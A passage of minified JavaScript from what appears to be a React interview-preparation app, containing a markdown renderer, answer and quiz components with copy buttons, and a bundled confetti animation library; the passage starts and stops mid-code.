e=o.slice(1,-1).split(`|`);r.push(e);return}if(i&&a(`table-${t}`),o.startsWith(`### `)){n.push((0,k.jsxs)(`h4`,{className:`text-sm font-extrabold text-slate-900 mt-4 mb-2 flex items-center gap-2`,children:[(0,k.jsx)(mt,{className:`h-4 w-4 text-blue-600 shrink-0`}),(0,k.jsx)(`span`,{children:o.replace(`### `,``)})]},t));return}if(o.startsWith(`#### `)){n.push((0,k.jsx)(`h5`,{className:`text-xs font-bold text-slate-800 uppercase tracking-wider font-mono mt-3 mb-1.5 text-indigo-700`,children:o.replace(`#### `,``)},t));return}if(e.startsWith(`  * `)||e.startsWith(`    * `)||e.startsWith(`   * `)){n.push((0,k.jsxs)(`div`,{className:`pl-6 py-1 flex items-start gap-2 text-xs sm:text-sm text-slate-600`,children:[(0,k.jsx)(`span`,{className:`h-1 w-1 rounded-full bg-slate-400 mt-2 shrink-0`}),(0,k.jsx)(`span`,{children:zn(o.replace(/^\*\s+/,``))})]},t));return}if(o.startsWith(`* `)||o.startsWith(`- `)){n.push((0,k.jsxs)(`div`,{className:`py-1.5 flex items-start gap-2.5 text-xs sm:text-sm text-slate-700`,children:[(0,k.jsx)(`span`,{className:`h-1.5 w-1.5 rounded-full bg-blue-600 mt-2 shrink-0 shadow-2xs`}),(0,k.jsx)(`span`,{children:zn(o.replace(/^(\*|-)\s+/,``))})]},t));return}if(/^\d+\.\s/.test(o)){n.push((0,k.jsxs)(`div`,{className:`py-1.5 flex items-start gap-2.5 text-xs sm:text-sm text-slate-700`,children:[(0,k.jsx)(`span`,{className:`flex h-4 w-4 shrink-0 items-center justify-center rounded-full bg-blue-100 text-blue-800 font-mono text-[10px] font-bold mt-0.5`,children:o.match(/^\d+/)?.[0]}),(0,k.jsx)(`span`,{children:zn(o.replace(/^\d+\.\s+/,``))})]},t));return}o.length>0&&n.push((0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-700 leading-relaxed my-1.5`,children:zn(o)},t))}),i&&a(`table-end`),n},Vn=({question:e})=>{let[t,n]=_.useState(null),r=(e,t)=>{navigator.clipboard.writeText(e),n(t),setTimeout(()=>n(null),2e3)},i=[];e.cliSnippets&&e.cliSnippets.length>0?i.push(...e.cliSnippets):e.cliSnippet&&i.push({label:`Production Diagnostic CLI & Config Syntax`,code:e.cliSnippet});let a=[];Array.isArray(e.commonTraps)?a.push(...e.commonTraps):typeof e.commonTraps==`string`?a.push(e.commonTraps):e.commonTrap&&a.push(e.commonTrap);let o=[];return e.keyTakeaways&&e.keyTakeaways.length>0?o.push(...e.keyTakeaways):e.steps.slice(-3).forEach(e=>{e.interviewTakeaway&&!o.includes(e.interviewTakeaway)&&o.push(e.interviewTakeaway)}),(0,k.jsxs)(`div`,{className:`space-y-6 animate-fadeIn`,children:[(0,k.jsxs)(`div`,{className:`relative rounded-2xl border border-blue-200 bg-gradient-to-br from-blue-50/80 via-white to-indigo-50/40 p-4 sm:p-6 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between gap-3 mb-3`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,k.jsx)(`div`,{className:`flex h-8 w-8 items-center justify-center rounded-xl bg-blue-600 text-white shadow-xs shrink-0`,children:(0,k.jsx)(bt,{className:`h-4 w-4`})}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`h3`,{className:`text-sm sm:text-base font-extrabold text-slate-900 tracking-tight`,children:`The 30-Second Interview Response`}),(0,k.jsx)(`p`,{className:`text-[11px] sm:text-xs text-blue-800 font-medium`,children:`Deliver this crisp summary first to establish mastery.`})]})]}),e.difficulty&&(0,k.jsx)(`span`,{className:`px-2.5 py-0.5 rounded-full text-xs font-bold uppercase tracking-wider font-mono border ${e.difficulty===`Beginner`?`bg-emerald-50 text-emerald-700 border-emerald-200`:e.difficulty===`Intermediate`?`bg-blue-50 text-blue-700 border-blue-200`:`bg-purple-50 text-purple-700 border-purple-200`}`,children:e.difficulty})]}),(0,k.jsxs)(`blockquote`,{className:`border-l-4 border-blue-600 pl-3 sm:pl-4 py-2 text-xs sm:text-sm md:text-base font-medium text-slate-800 leading-relaxed italic bg-white/80 rounded-r-xl border border-slate-100 shadow-2xs`,children:[`"`,e.elevatorPitch,`"`]})]}),(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-6 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-3 mb-4`,children:[(0,k.jsx)(`div`,{className:`flex h-8 w-8 items-center justify-center rounded-xl bg-indigo-600 text-white shadow-xs shrink-0`,children:(0,k.jsx)(We,{className:`h-4 w-4`})}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`h3`,{className:`text-sm sm:text-base font-extrabold text-slate-900 tracking-tight`,children:`Technical Deep Dive`}),(0,k.jsx)(`p`,{className:`text-[11px] sm:text-xs text-slate-500 font-medium`,children:`Step-by-step architectural principles for follow-up questions.`})]})]}),Array.isArray(e.deepDive)?(0,k.jsx)(`div`,{className:`space-y-2.5 sm:space-y-3`,children:e.deepDive.map((e,t)=>{let n=e.split(`**`);return(0,k.jsxs)(`div`,{className:`flex items-start gap-2.5 sm:gap-3.5 p-3 sm:p-3.5 rounded-xl bg-slate-50/80 border border-slate-200/80 hover:border-blue-200 hover:bg-blue-50/30 transition-colors`,children:[(0,k.jsx)(`span`,{className:`flex h-5 w-5 shrink-0 items-center justify-center rounded-full bg-blue-600 text-white text-xs font-bold mt-0.5 shadow-2xs`,children:t+1}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-700 leading-relaxed`,children:n.length>=3?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`strong`,{className:`text-slate-900 font-bold`,children:n[1]}),n.slice(2).join(``)]}):e})]},t)})}):(0,k.jsx)(`div`,{className:`space-y-2 bg-slate-50/50 p-4 rounded-xl border border-slate-200/70`,children:Bn(e.deepDive)})]}),(0,k.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-2 gap-4`,children:[(0,k.jsx)(`div`,{className:`rounded-2xl border border-emerald-200 bg-emerald-50/40 p-4 sm:p-5 shadow-2xs flex flex-col justify-between`,children:(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5 mb-2.5`,children:[(0,k.jsx)(`div`,{className:`flex h-7 w-7 items-center justify-center rounded-lg bg-emerald-100 text-emerald-700 border border-emerald-200 shrink-0`,children:(0,k.jsx)(Pe,{className:`h-4 w-4`})}),(0,k.jsx)(`h4`,{className:`text-xs sm:text-sm font-extrabold text-emerald-900`,children:`Real-World Production Scenario`})]}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-700 leading-relaxed`,children:e.realWorldScenario})]})}),(0,k.jsx)(`div`,{className:`rounded-2xl border border-amber-200 bg-amber-50/40 p-4 sm:p-5 shadow-2xs flex flex-col justify-between`,children:(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5 mb-2.5`,children:[(0,k.jsx)(`div`,{className:`flex h-7 w-7 items-center justify-center rounded-lg bg-amber-100 text-amber-700 border border-amber-200 shrink-0`,children:(0,k.jsx)(Ot,{className:`h-4 w-4`})}),(0,k.jsx)(`h4`,{className:`text-xs sm:text-sm font-extrabold text-amber-900`,children:`Common Interviewer Trap`})]}),(0,k.jsx)(`div`,{className:`space-y-1.5`,children:a.map((e,t)=>(0,k.jsxs)(`div`,{className:`flex items-start gap-1.5 text-xs sm:text-sm text-slate-700 leading-relaxed`,children:[a.length>1&&(0,k.jsx)(`span`,{className:`text-amber-600 font-bold`,children:`•`}),(0,k.jsx)(`span`,{children:e})]},t))})]})})]}),i.length>0&&(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-5 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2 mb-3`,children:[(0,k.jsx)(wt,{className:`h-4 w-4 text-blue-600 shrink-0`}),(0,k.jsx)(`h4`,{className:`text-xs sm:text-sm font-extrabold text-slate-900`,children:`Production CLI Commands & Configuration Syntax`})]}),(0,k.jsx)(`div`,{className:`space-y-3`,children:i.map((e,n)=>(0,k.jsxs)(`div`,{className:`rounded-xl border border-slate-800 bg-slate-950 overflow-hidden shadow-xs`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between px-3 py-1.5 bg-slate-900 border-b border-slate-800 text-xs text-slate-400`,children:[(0,k.jsx)(`span`,{className:`font-semibold text-slate-200 truncate pr-2`,children:e.label}),(0,k.jsx)(`button`,{onClick:()=>r(e.code,n),className:`flex items-center gap-1 text-[11px] text-blue-400 hover:text-blue-300 cursor-pointer shrink-0 active:scale-95`,children:t===n?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(E,{className:`h-3 w-3 text-emerald-400`}),(0,k.jsx)(`span`,{className:`text-emerald-400`,children:`Copied`})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(Me,{className:`h-3 w-3`}),(0,k.jsx)(`span`,{children:`Copy`})]})})]}),(0,k.jsx)(`pre`,{className:`p-3 text-[11px] sm:text-xs font-mono text-cyan-300 overflow-x-auto selection:bg-blue-600 selection:text-white leading-relaxed`,children:(0,k.jsx)(`code`,{children:e.code})})]},n))})]}),o.length>0&&(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-5 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2 mb-3`,children:[(0,k.jsx)(Te,{className:`h-4 w-4 text-emerald-600 shrink-0`}),(0,k.jsx)(`h4`,{className:`text-xs sm:text-sm font-extrabold text-slate-900`,children:`Key Interview Takeaways`})]}),(0,k.jsx)(`ul`,{className:`space-y-2`,children:o.map((e,t)=>(0,k.jsxs)(`li`,{className:`flex items-start gap-2 text-xs sm:text-sm text-slate-700`,children:[(0,k.jsx)(`span`,{className:`h-1.5 w-1.5 rounded-full bg-emerald-600 mt-2 shrink-0`}),(0,k.jsx)(`span`,{children:e})]},t))})]})]})},Hn={};(function e(t,n,r,i){var a=!!(t.Worker&&t.Blob&&t.Promise&&t.OffscreenCanvas&&t.OffscreenCanvasRenderingContext2D&&t.HTMLCanvasElement&&t.HTMLCanvasElement.prototype.transferControlToOffscreen&&t.URL&&t.URL.createObjectURL),o=typeof Path2D==`function`&&typeof DOMMatrix==`function`,s=(function(){if(!t.OffscreenCanvas)return!1;try{var e=new OffscreenCanvas(1,1),n=e.getContext(`2d`);n.fillRect(0,0,1,1);var r=e.transferToImageBitmap();n.createPattern(r,`no-repeat`)}catch{return!1}return!0})();function c(){}function l(e){var r=n.exports.Promise,i=r===void 0?t.Promise:r;return typeof i==`function`?new i(e):(e(c,c),null)}var u=(function(e,t){return{transform:function(n){if(e)return n;if(t.has(n))return t.get(n);var r=new OffscreenCanvas(n.width,n.height);return r.getContext(`2d`).drawImage(n,0,0),t.set(n,r),r},clear:function(){t.clear()}}})(s,new Map),d=function(){var e,t,n={},r=0;return typeof requestAnimationFrame==`function`&&typeof cancelAnimationFrame==`function`?(e=function(e){var t=Math.random();return n[t]=requestAnimationFrame(function i(a){r===a||r+16-1<a?(r=a,delete n[t],e()):n[t]=requestAnimationFrame(i)}),t},t=function(e){n[e]&&cancelAnimationFrame(n[e])}):(e=function(e){return setTimeout(e,16)},t=function(e){return clearTimeout(e)}),{frame:e,cancel:t}}(),f=(function(){var t,n,i={};function o(e){function t(t,n){e.postMessage({options:t||{},callback:n})}e.init=function(t){var n=t.transferControlToOffscreen();e.postMessage({canvas:n},[n])},e.fire=function(r,a,o){if(n)return t(r,null),n;var s=Math.random().toString(36).slice(2);return n=l(function(a){function c(t){t.data.callback===s&&(delete i[s],e.removeEventListener(`message`,c),n=null,u.clear(),o(),a())}e.addEventListener(`message`,c),t(r,s),i[s]=c.bind(null,{data:{callback:s}})}),n},e.reset=function(){for(var t in e.postMessage({reset:!0}),i)i[t](),delete i[t]}}return function(){if(t)return t;if(!r&&a){var n=[`var CONFETTI, SIZE = {}, module = {};`,`(`+e.toString()+`)(this, module, true, SIZE);`,`onmessage = function(msg) {`,`  if (msg.data.options) {`,`    CONFETTI(msg.data.options).then(function () {`,`      if (msg.data.callback) {`,`        postMessage({ callback: msg.data.callback });`,`      }`,`    });`,`  } else if (msg.data.reset) {`,`    CONFETTI && CONFETTI.reset();`,`  } else if (msg.data.resize) {`,`    SIZE.width = msg.data.resize.width;`,`    SIZE.height = msg.data.resize.height;`,`  } else if (msg.data.canvas) {`,`    SIZE.width = msg.data.canvas.width;`,`    SIZE.height = msg.data.canvas.height;`,`    CONFETTI = module.exports.create(msg.data.canvas);`,`  }`,`}`].join(`
`);try{t=new Worker(URL.createObjectURL(new Blob([n])))}catch(e){return typeof console<`u`&&typeof console.warn==`function`&&console.warn(`🎊 Could not load worker`,e),null}o(t)}return t}})(),p={particleCount:50,angle:90,spread:45,startVelocity:45,decay:.9,gravity:1,drift:0,ticks:200,x:.5,y:.5,shapes:[`square`,`circle`],zIndex:100,colors:[`#26ccff`,`#a25afd`,`#ff5e7e`,`#88ff5a`,`#fcff42`,`#ffa62d`,`#ff36ff`],disableForReducedMotion:!1,scalar:1};function m(e,t){return t?t(e):e}function h(e){return e!=null}function g(e,t,n){return m(e&&h(e[t])?e[t]:p[t],n)}function _(e){return e<0?0:Math.floor(e)}function v(e,t){return Math.floor(Math.random()*(t-e))+e}function y(e){return parseInt(e,16)}function b(e){return e.map(x)}function x(e){var t=String(e).replace(/[^0-9a-f]/gi,``);return t.length<6&&(t=t[0]+t[0]+t[1]+t[1]+t[2]+t[2]),{r:y(t.substring(0,2)),g:y(t.substring(2,4)),b:y(t.substring(4,6))}}function S(e){var t=g(e,`origin`,Object);return t.x=g(t,`x`,Number),t.y=g(t,`y`,Number),t}function ee(e){e.width=document.documentElement.clientWidth,e.height=document.documentElement.clientHeight}function te(e){var t=e.getBoundingClientRect();e.width=t.width,e.height=t.height}function C(e){var t=document.createElement(`canvas`);return t.style.position=`fixed`,t.style.top=`0px`,t.style.left=`0px`,t.style.pointerEvents=`none`,t.style.zIndex=e,t}function ne(e,t,n,r,i,a,o,s,c){e.save(),e.translate(t,n),e.rotate(a),e.scale(r,i),e.arc(0,0,1,o,s,c),e.restore()}function w(e){var t=e.angle*(Math.PI/180),n=e.spread*(Math.PI/180);return{x:e.x,y:e.y,wobble:Math.random()*10,wobbleSpeed:Math.min(.11,Math.random()*.1+.05),velocity:e.startVelocity*.5+Math.random()*e.startVelocity,angle2D:-t+(.5*n-Math.random()*n),tiltAngle:(Math.random()*.5+.25)*Math.PI,color:e.color,shape:e.shape,tick:0,totalTicks:e.ticks,decay:e.decay,drift:e.drift,random:Math.random()+2,tiltSin:0,tiltCos:0,wobbleX:0,wobbleY:0,gravity:e.gravity*3,ovalScalar:.6,scalar:e.scalar,flat:e.flat}}function re(e,t){t.x+=Math.cos(t.angle2D)*t.velocity+t.drift,t.y+=Math.sin(t.angle2D)*t.velocity+t.gravity,t.velocity*=t.decay,t.flat?(t.wobble=0,t.wobbleX=t.x+10*t.scalar,t.wobbleY=t.y+10*t.scalar,t.tiltSin=0,t.tiltCos=0,t.random=1):(t.wobble+=t.wobbleSpeed,t.wobbleX=t.x+10*t.scalar*Math.cos(t.wobble),t.wobbleY=t.y+10*t.scalar*Math.sin(t.wobble),t.tiltAngle+=.1,t.tiltSin=Math.sin(t.tiltAngle),t.tiltCos=Math.cos(t.tiltAngle),t.random=Math.random()+2);var n=t.tick++/t.totalTicks,r=t.x+t.random*t.tiltCos,i=t.y+t.random*t.tiltSin,a=t.wobbleX+t.random*t.tiltCos,s=t.wobbleY+t.random*t.tiltSin;if(e.fillStyle=`rgba(`+t.color.r+`, `+t.color.g+`, `+t.color.b+`, `+(1-n)+`)`,e.beginPath(),o&&t.shape.type===`path`&&typeof t.shape.path==`string`&&Array.isArray(t.shape.matrix))e.fill(ce(t.shape.path,t.shape.matrix,t.x,t.y,Math.abs(a-r)*.1,Math.abs(s-i)*.1,Math.PI/10*t.wobble));else if(t.shape.type===`bitmap`){var c=Math.PI/10*t.wobble,l=Math.abs(a-r)*.1,d=Math.abs(s-i)*.1,f=t.shape.bitmap.width*t.scalar,p=t.shape.bitmap.height*t.scalar,m=new DOMMatrix([Math.cos(c)*l,Math.sin(c)*l,-Math.sin(c)*d,Math.cos(c)*d,t.x,t.y]);m.multiplySelf(new DOMMatrix(t.shape.matrix));var h=e.createPattern(u.transform(t.shape.bitmap),`no-repeat`);h.setTransform(m),e.globalAlpha=1-n,e.fillStyle=h,e.fillRect(t.x-f/2,t.y-p/2,f,p),e.globalAlpha=1}else if(t.shape===`circle`)e.ellipse?e.ellipse(t.x,t.y,Math.abs(a-r)*t.ovalScalar,Math.abs(s-i)*t.ovalScalar,Math.PI/10*t.wobble,0,2*Math.PI):ne(e,t.x,t.y,Math.abs(a-r)*t.ovalScalar,Math.abs(s-i)*t.ovalScalar,Math.PI/10*t.wobble,0,2*Math.PI);else if(t.shape===`star`)for(var g=Math.PI/2*3,_=4*t.scalar,v=8*t.scalar,y=t.x,b=t.y,x=5,S=Math.PI/x;x--;)y=t.x+Math.cos(g)*v,b=t.y+Math.sin(g)*v,e.lineTo(y,b),g+=S,y=t.x+Math.cos(g)*_,b=t.y+Math.sin(g)*_,e.lineTo(y,b),g+=S;else e.moveTo(Math.floor(t.x),Math.floor(t.y)),e.lineTo(Math.floor(t.wobbleX),Math.floor(i)),e.lineTo(Math.floor(a),Math.floor(s)),e.lineTo(Math.floor(r),Math.floor(t.wobbleY));return e.closePath(),e.fill(),t.tick<t.totalTicks}function ie(e,t,n,a,o){var s=t.slice(),c=e.getContext(`2d`),f,p,m=l(function(t){function l(){f=p=null,c.clearRect(0,0,a.width,a.height),u.clear(),o(),t()}function m(){r&&(a.width!==i.width||a.height!==i.height)&&(a.width=e.width=i.width,a.height=e.height=i.height),!a.width&&!a.height&&(n(e),a.width=e.width,a.height=e.height),c.clearRect(0,0,a.width,a.height),s=s.filter(function(e){return re(c,e)}),s.length?f=d.frame(m):l()}f=d.frame(m),p=l});return{addFettis:function(e){return s=s.concat(e),m},canvas:e,promise:m,reset:function(){f&&d.cancel(f),p&&p()}}}function ae(e,n){var r=!e,i=!!g(n||{},`resize`),o=!1,s=g(n,`disableForReducedMotion`,Boolean),c=a&&g(n||{},`useWorker`)?f():null,u=r?ee:te,d=e&&c?!!e.__confetti_initialized:!1,p=typeof matchMedia==`function`&&matchMedia(`(prefers-reduced-motion)`).matches,m;function h(t,n,r){for(var i=g(t,`particleCount`,_),a=g(t,`angle`,Number),o=g(t,`spread`,Number),s=g(t,`startVelocity`,Number),c=g(t,`decay`,Number),l=g(t,`gravity`,Number),d=g(t,`drift`,Number),f=g(t,`colors`,b),p=g(t,`ticks`,Number),h=g(t,`shapes`),y=g(t,`scalar`),x=!!g(t,`flat`),ee=S(t),te=i,C=[],ne=e.width*ee.x,re=e.height*ee.y;te--;)C.push(w({x:ne,y:re,angle:a,spread:o,startVelocity:s,color:f[te%f.length],shape:h[v(0,h.length)],ticks:p,decay:c,gravity:l,drift:d,scalar:y,flat:x}));return m?m.addFettis(C):(m=ie(e,C,u,n,r),m.promise)}function y(n){var a=s||g(n,`disableForReducedMotion`,Boolean),f=g(n,`zIndex`,Number);if(a&&p)return l(function(e){e()});r&&m?e=m.canvas:r&&!e&&(e=C(f),document.body.appendChild(e)),i&&!d&&u(e);var _={width:e.width,height:e.height};c&&!d&&c.init(e),d=!0,c&&(e.__confetti_initialized=!0);function v(){if(c){var t={getBoundingClientRect:function(){if(!r)return e.getBoundingClientRect()}};u(t),c.postMessage({resize:{width:t.width,height:t.height}});return}_.width=_.height=null}function y(){m=null,i&&(o=!1,t.removeEventListener(`resize`,v)),r&&e&&(document.body.contains(e)&&document.body.removeChild(e),e=null,d=!1)}return i&&!o&&(o=!0,t.addEventListener(`resize`,v,!1)),c?c.fire(n,_,y):h(n,_,y)}return y.reset=function(){c&&c.reset(),m&&m.reset()},y}var oe;function se(){return oe||=ae(null,{useWorker:!0,resize:!0}),oe}function ce(e,t,n,r,i,a,o){var s=new Path2D(e),c=new Path2D;c.addPath(s,new DOMMatrix(t));var l=new Path2D;return l.addPath(c,new DOMMatrix([Math.cos(o)*i,Math.sin(o)*i,-Math.sin(o)*a,Math.cos(o)*a,n,r])),l}function le(e){if(!o)throw Error(`path confetti are not supported in this browser`);var t,n;typeof e==`string`?t=e:(t=e.path,n=e.matrix);var r=new Path2D(t),i=document.createElement(`canvas`).getContext(`2d`);if(!n){for(var a=1e3,s=a,c=a,l=0,u=0,d,f,p=0;p<a;p+=2)for(var m=0;m<a;m+=2)i.isPointInPath(r,p,m,`nonzero`)&&(s=Math.min(s,p),c=Math.min(c,m),l=Math.max(l,p),u=Math.max(u,m));d=l-s,f=u-c;var h=10,g=Math.min(h/d,h/f);n=[g,0,0,g,-Math.round(d/2+s)*g,-Math.round(f/2+c)*g]}return{type:`path`,path:t,matrix:n}}function T(e){var t,n=1,r=`#000000`,i=`"Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji", "EmojiOne Color", "Android Emoji", "Twemoji Mozilla", "system emoji", sans-serif`;typeof e==`string`?t=e:(t=e.text,n=`scalar`in e?e.scalar:n,i=`fontFamily`in e?e.fontFamily:i,r=`color`in e?e.color:r);var a=10*n,o=``+a+`px `+i,s=new OffscreenCanvas(a,a),c=s.getContext(`2d`);c.font=o;var l=c.measureText(t),u=Math.ceil(l.actualBoundingBoxRight+l.actualBoundingBoxLeft),d=Math.ceil(l.actualBoundingBoxAscent+l.actualBoundingBoxDescent),f=2,p=l.actualBoundingBoxLeft+f,m=l.actualBoundingBoxAscent+f;u+=f+f,d+=f+f,s=new OffscreenCanvas(u,d),c=s.getContext(`2d`),c.font=o,c.fillStyle=r,c.fillText(t,p,m);var h=1/n;return{type:`bitmap`,bitmap:s.transferToImageBitmap(),matrix:[h,0,0,h,-u*h/2,-d*h/2]}}n.exports=function(){return se().apply(this,arguments)},n.exports.reset=function(){se().reset()},n.exports.create=ae,n.exports.shapeFromPath=le,n.exports.shapeFromText=T})((function(){return typeof window<`u`?window:typeof self<`u`?self:this||{}})(),Hn,!1);var Un=Hn.exports;Hn.exports.create;var Wn=({question:e,onMarkCompleted:t,isCompleted:n})=>{let[r,i]=(0,_.useState)(null),[a,o]=(0,_.useState)(!1),s=e.quiz,c=typeof s.correctIndex==`number`?s.correctIndex:typeof s.correctAnswer==`number`?s.correctAnswer:0,l=r===c;return(0,k.jsx)(`div`,{className:`space-y-6 max-w-3xl mx-auto animate-fadeIn`,children:(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-6 md:p-8 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex flex-wrap items-center justify-between gap-2 mb-4 sm:mb-5`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5`,children:[(0,k.jsx)(`div`,{className:`flex h-8 w-8 items-center justify-center rounded-xl bg-blue-50 text-blue-600 border border-blue-100 shrink-0`,children:(0,k.jsx)(De,{className:`h-4 w-4`})}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`span`,{className:`text-[11px] font-bold text-blue-600 tracking-wider uppercase`,children:`Interactive Practice`}),(0,k.jsx)(`h3`,{className:`text-sm sm:text-base font-extrabold text-slate-900`,children:`Knowledge Check Challenge`})]})]}),n&&(0,k.jsxs)(`span`,{className:`flex items-center gap-1.5 px-3 py-1 rounded-full bg-emerald-50 border border-emerald-200 text-xs font-bold text-emerald-800 shrink-0`,children:[(0,k.jsx)(E,{className:`h-3.5 w-3.5 stroke-[3] text-emerald-600`}),`Completed`]})]}),(0,k.jsx)(`p`,{className:`text-xs sm:text-base font-semibold text-slate-800 leading-relaxed mb-4 sm:mb-6`,children:s.question}),(0,k.jsx)(`div`,{className:`space-y-2.5 sm:space-y-3`,children:s.options.map((e,t)=>{let n=r===t,o=t===c,s=`border-slate-200 bg-slate-50 text-slate-700 hover:border-slate-300 hover:bg-slate-100`;return a?s=o?`border-emerald-500 bg-emerald-50 text-emerald-950 ring-1 ring-emerald-500 font-semibold`:n&&!o?`border-rose-500 bg-rose-50 text-rose-950 ring-1 ring-rose-500 font-semibold`:`border-slate-200 bg-slate-50 text-slate-400 opacity-60`:n&&(s=`border-blue-600 bg-blue-50 text-blue-950 font-semibold ring-1 ring-blue-600`),(0,k.jsxs)(`button`,{onClick:()=>!a&&i(t),disabled:a,className:`w-full flex items-start gap-2.5 sm:gap-3 p-3 sm:p-3.5 rounded-xl border text-left transition-all text-xs sm:text-sm cursor-pointer shadow-2xs active:scale-[0.99] ${s}`,children:[(0,k.jsx)(`span`,{className:`flex h-5 w-5 shrink-0 items-center justify-center rounded-full text-[11px] font-bold mt-0.5 border ${a&&o?`bg-emerald-600 text-white border-emerald-600`:a&&n&&!o?`bg-rose-600 text-white border-rose-600`:n?`bg-blue-600 text-white border-blue-600`:`bg-white text-slate-600 border-slate-300`}`,children:String.fromCharCode(65+t)}),(0,k.jsx)(`span`,{className:`flex-1 leading-snug`,children:e}),a&&o&&(0,k.jsx)(Te,{className:`h-5 w-5 text-emerald-600 shrink-0 mt-0.5`}),a&&n&&!o&&(0,k.jsx)(ke,{className:`h-5 w-5 text-rose-600 shrink-0 mt-0.5`})]},t)})}),(0,k.jsxs)(`div`,{className:`mt-5 sm:mt-6 pt-3 sm:pt-4 border-t border-slate-100 flex flex-wrap items-center justify-between gap-3`,children:[a?(0,k.jsxs)(`button`,{onClick:()=>{i(null),o(!1)},className:`flex items-center gap-2 px-4 py-2 rounded-xl border border-slate-200 bg-slate-50 text-xs sm:text-sm font-bold text-slate-700 hover:bg-slate-100 transition-all cursor-pointer active:scale-95`,children:[(0,k.jsx)(it,{className:`h-3.5 w-3.5`}),`Try Again`]}):(0,k.jsxs)(`button`,{onClick:()=>{if(r!==null&&(o(!0),r===c)){t(e.id);try{Un({particleCount:80,spread:70,origin:{y:.6}})}catch{}}},disabled:r===null,className:`flex items-center gap-2 px-5 py-2.5 rounded-xl bg-blue-600 text-white text-xs sm:text-sm font-bold shadow-md shadow-blue-500/20 hover:bg-blue-700 disabled:opacity-40 disabled:cursor-not-allowed transition-all cursor-pointer active:scale-95`,children:[(0,k.jsx)(bt,{className:`h-4 w-4`}),`Submit Answer`]}),(0,k.jsxs)(`span`,{className:`text-[11px] sm:text-xs text-slate-400 font-medium`,children:[`Question `,e.id,` Practice`]})]}),a&&(0,k.jsxs)(`div`,{className:`mt-4 sm:mt-5 p-3.5 sm:p-4 rounded-xl border animate-fadeIn ${l?`border-emerald-200 bg-emerald-50 text-emerald-950`:`border-rose-200 bg-rose-50 text-rose-950`}`,children:[(0,k.jsx)(`div`,{className:`flex items-center gap-2 mb-1.5 font-bold text-xs sm:text-sm`,children:l?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(Te,{className:`h-4 w-4 text-emerald-600 shrink-0`}),(0,k.jsx)(`span`,{children:`Correct! Outstanding reasoning.`})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(ke,{className:`h-4 w-4 text-rose-600 shrink-0`}),(0,k.jsx)(`span`,{children:`Incorrect. Review the detailed explanation:`})]})}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-700 leading-relaxed pl-6`,children:s.explanation})]})]})})},Gn=({question:e,questionIndex:t,totalQuestions:n,onPrevQuestion:r,onNextQuestion:i,onMarkCompleted:a,isCompleted:o,onOpenSandbox:s})=>{let[c,l]=(0,_.useState)(`visual`),[u,d]=(0,_.useState)(0),[f,p]=(0,_.useState)(!1),[m,h]=(0,_.useState)(1),[g,v]=(0,_.useState)(!1),y=(0,_.useRef)(null);(0,_.useEffect)(()=>{d(0),p(!1),y.current&&clearInterval(y.current)},[e.id]),(0,_.useEffect)(()=>{if(f){let t=Math.max(1200,3e3/m);y.current=setInterval(()=>{d(t=>t>=e.steps.length-1?(p(!1),t):t+1)},t)}else y.current&&clearInterval(y.current);return()=>{y.current&&clearInterval(y.current)}},[f,m,e.steps.length]);let b=()=>{!f&&u>=e.steps.length-1&&d(0),p(!f)},x=()=>{p(!1),d(e=>Math.max(0,e-1))},S=()=>{p(!1),d(t=>Math.min(e.steps.length-1,t+1))},ee=()=>{d(0),p(!1)},te=e=>{p(!1),d(e)},C=()=>{let t=`${window.location.origin}${window.location.pathname}?q=${e.id}`;navigator.clipboard.writeText(t),v(!0),setTimeout(()=>v(!1),2e3)},ne=()=>{if(a(e.id),!o)try{Un({particleCount:70,spread:60,origin:{y:.7}})}catch{}},w=e.steps[u]||e.steps[0],re=e.visualType.includes(`rule`)||e.visualType.includes(`scenario`)||e.visualType.includes(`implicit`);return(0,k.jsxs)(`div`,{className:`space-y-4 sm:space-y-6 animate-fadeIn max-w-5xl mx-auto pb-12 w-full`,children:[(0,k.jsxs)(`div`,{className:`flex flex-col gap-2.5`,children:[(0,k.jsxs)(`div`,{className:`flex flex-col xs:flex-row xs:items-center justify-between gap-2.5`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2 text-xs font-semibold flex-wrap`,children:[(0,k.jsx)(`span`,{className:`rounded-md bg-blue-50 border border-blue-200 px-2.5 py-1 text-blue-700`,children:e.category}),(0,k.jsx)(`span`,{className:`text-slate-400`,children:`•`}),(0,k.jsxs)(`span`,{className:`text-slate-500 font-medium`,children:[`Question `,e.id,` of `,n]})]}),(0,k.jsxs)(`div`,{className:`hidden sm:flex items-center gap-2 self-end xs:self-auto shrink-0`,children:[(0,k.jsx)(`button`,{onClick:C,className:`flex items-center gap-1.5 px-3 py-1.5 rounded-lg border border-slate-200 bg-white text-xs font-semibold 